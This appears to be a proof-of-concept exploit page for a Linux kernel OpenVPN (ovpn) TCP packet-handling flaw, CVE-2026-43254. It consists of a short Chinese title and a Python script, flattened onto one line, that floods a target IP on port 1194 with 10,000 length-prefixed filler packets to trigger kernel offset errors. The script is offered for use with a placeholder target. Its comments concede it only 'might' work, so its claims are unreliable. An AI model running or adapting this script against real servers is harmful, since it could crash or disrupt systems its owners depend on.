CVE-2026-43254 Linux内核OVPN TCP数据包处理漏洞

import socket import struct # This is a conceptual PoC for CVE-2026-43254 # It simulates sending a stream of OpenVPN TCP packets # that might trigger the coalescing and offset issues # on a vulnerable Linux kernel running the ovpn module. def create_ovpn_packet(length): # OpenVPN TCP packet has a 2-byte length prefix header = struct.pack('!H', length) # Fill with dummy data payload = b'A' * length return header + payload def send_malicious_stream(target_ip, target_port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send a large number of packets to encourage coalescing (TSO/GRO) # and potentially trigger the offset overflow or alignment issues. for i in range(10000): # Use a specific packet size if necessary to trigger alignment issues # The vulnerability description mentions 2-byte prefix causing misalignment # of subsequent fields. pkt = create_ovpn_packet(1400) s.sendall(pkt) print("[+] Stream sent to target.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_IP = "127.0.0.1" # Replace with target IP TARGET_PORT = 1194 # Default OpenVPN TCP port send_malicious_stream(TARGET_IP, TARGET_PORT)